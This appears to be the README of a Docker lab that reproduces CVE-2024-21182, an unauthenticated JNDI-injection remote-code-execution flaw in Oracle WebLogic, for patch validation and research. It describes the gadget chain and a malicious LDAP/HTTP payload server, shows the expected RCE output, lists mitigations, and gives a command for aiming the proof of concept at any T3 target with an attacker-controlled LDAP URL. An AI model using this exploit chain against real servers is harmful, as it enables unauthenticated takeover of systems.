
Reproducible Docker lab for CVE-2024-21182 Oracle WebLogic T3/IIOP OpaqueReference JNDI injection leading to unauthenticated RCE. One-command validate.sh for authorized security testing and patch validation.
A self-contained, one-command Docker lab to reproduce and validate the
Oracle WebLogic Server OpaqueReference JNDI-injection vulnerability family
(CVE-2024-21182, a patch bypass of CVE-2023-21839) and turn it into
unauthenticated remote code execution.
⚠️ For authorized security research, education, and patch validation only. See DISCLAIMER. Run it only against this lab or systems you own.
CVE-2024-21182 is an unauthenticated vulnerability in the Core component
of Oracle WebLogic Server, reachable over the T3 / IIOP protocols (default
port 7001). It allows an attacker to bind a crafted "reference" object into
the server's JNDI tree and trigger a server-side JNDI lookup against an
attacker-controlled URL — classic JNDI injection that escalates to RCE.
| CVE | CVE-2024-21182 |
| Product | Oracle WebLogic Server (Core) |
| Affected (per Oracle) | 12.2.1.4.0, 14.1.1.0.0 |
| Fixed in | Oracle October 2024 Critical Patch Update |
| Vector | Network, unauthenticated, T3/IIOP (port 7001) |
| CISA KEV | Yes (known exploited in the wild) |
| Class | Patch bypass of CVE-2023-21839 (OpaqueReference JNDI injection) |
A WebLogic reference object is resolved server-side during lookup() by an
ObjectFactory that performs a nested JNDI lookup against an attacker-supplied
URL:
weblogic.jndi.internal.WLContextImpl.lookup
→ javax.naming.spi.NamingManager.getObjectInstance
→ weblogic.application.naming.MessageDestinationObjectFactory.getObjectInstance
→ weblogic.application.naming.MessageDestinationReference.lookupMessageDestination (line 62)
→ new InitialContext().lookup( ldap://attacker/… ) ← attacker-controlled, server-side
CVE-2023-21839 reached this via weblogic.jndi.internal.ForeignOpaqueReference,
which Oracle then guarded. CVE-2024-21182 bypasses that guard by reaching the
same foreign lookup through
weblogic.ejb.container.internal.AggregatableOpaqueReference, whose private
referent field is reflectively set to a
weblogic.application.naming.MessageDestinationReference.
This lab uses vulhub/weblogic:12.2.1.3-2018 (WebLogic 12.2.1.3, bundled
JDK 1.8.0_151) because it is the only freely redistributable vulnerable
WebLogic image — the versions CVE-2024-21182 formally lists (12.2.1.4.0 /
14.1.1.0.0) require an Oracle license and cannot be published here.
Consequences, stated honestly:
OpaqueReference JNDI-injection → RCE
vulnerability class, exercised with the exact CVE-2024-21182 gadget classes
(AggregatableOpaqueReference + MessageDestinationReference).com.sun.jndi.ldap.object.trustURLCodebase=true (remote codebase class
loading). On modern JDKs the injection still fires (SSRF), but RCE requires a
gadget already on the WebLogic classpath instead of a remote codebase.Requirements: Docker + Docker Compose v2. ~3 GB image pull. On Apple Silicon the
image runs under linux/amd64 emulation (slower cold boot, 2–5 min).
git clone <this-repo>
cd CVE-2024-21182-lab
docker compose up -d # starts: weblogic (:7001) + attacker (LDAP/HTTP)
./validate.sh # waits for boot, fires the exploit, prints PASS/FAIL
Expected tail of ./validate.sh:
[+] RCE CONFIRMED — command executed inside the WebLogic container as:
------------------------------------------------------------
uid=1000(oracle) gid=1000(oracle) groups=1000(oracle)
Linux <id> ... x86_64 GNU/Linux
------------------------------------------------------------
[+] CVE-2024-21182 reproduced (unauthenticated T3 JNDI injection -> RCE)
Tear down:
docker compose down
t3://weblogic:7001 ldap://attacker:1389/Evil
PoC client ───────────────────────► WebLogic ──────────────────────────────► attacker (LDAP)
(in weblogic bind() + lookup() (victim) server-side JNDI lookup returns Reference
container) {javaCodeBase=http://attacker:8888/}
│ │
└────────── GET /Exploit.class ◄─────────────┘ (HTTP codebase)
loads + instantiates → static{} runs `id`
poc/CVE_2024_21182.java — the T3 client. Builds the malicious
AggregatableOpaqueReference, bind()s it, then lookup()s to trigger
server-side resolution. Parameterized: <t3-host:port> <ldap-url>. It is
compiled inside the WebLogic container by validate.sh because the gadget
classes live in WebLogic's full module set (not the redistributable thin
client), so no Oracle jars are shipped here.exploit/ldap_server.py — minimal malicious LDAP server returning a JNDI
Reference plus an HTTP server hosting the factory class. Runs in the
attacker container, reachable from WebLogic by service name attacker.exploit/Exploit.java / Exploit.class — the payload factory (Java 8
bytecode). Its static initializer runs id / uname -a and writes the output
to /tmp/RCE_PROOF_CVE_2024_21182 inside the victim. Harmless by design — edit
it and run exploit/build.sh to change the command.The ClassCastException (Exploit cannot be cast to ObjectFactory) you will see
is expected and cosmetic — it occurs after the static initializer (the
payload) has already executed.
Point the PoC at any T3 endpoint you are authorized to test:
# from inside a host with the WebLogic thin client, or adapt validate.sh:
java -cp ".:wlthint3client.jar" CVE_2024_21182 TARGET:7001 ldap://YOUR_LDAP:1389/Evil
trustURLCodebase=false; you still have SSRF, and RCE may be possible via a
classpath gadget.weblogic.security.net.ConnectionFilterImpl) and host firewalls.com.sun.jndi.ldap.object.trustURLCodebase=false (default on
current JDKs); breaks the remote-codebase RCE leg (not the injection leg).bind of
*OpaqueReference types.k4it0k1d/CVE-2024-21182weblogic/CVE-2023-21839)OpaqueReference family)This project is published for authorized security testing, defensive
validation, and education. The vulnerable software runs in an isolated Docker
lab. Do not use these techniques against systems you do not own or are not
explicitly authorized to test. The authors accept no liability for misuse. See
LICENSE.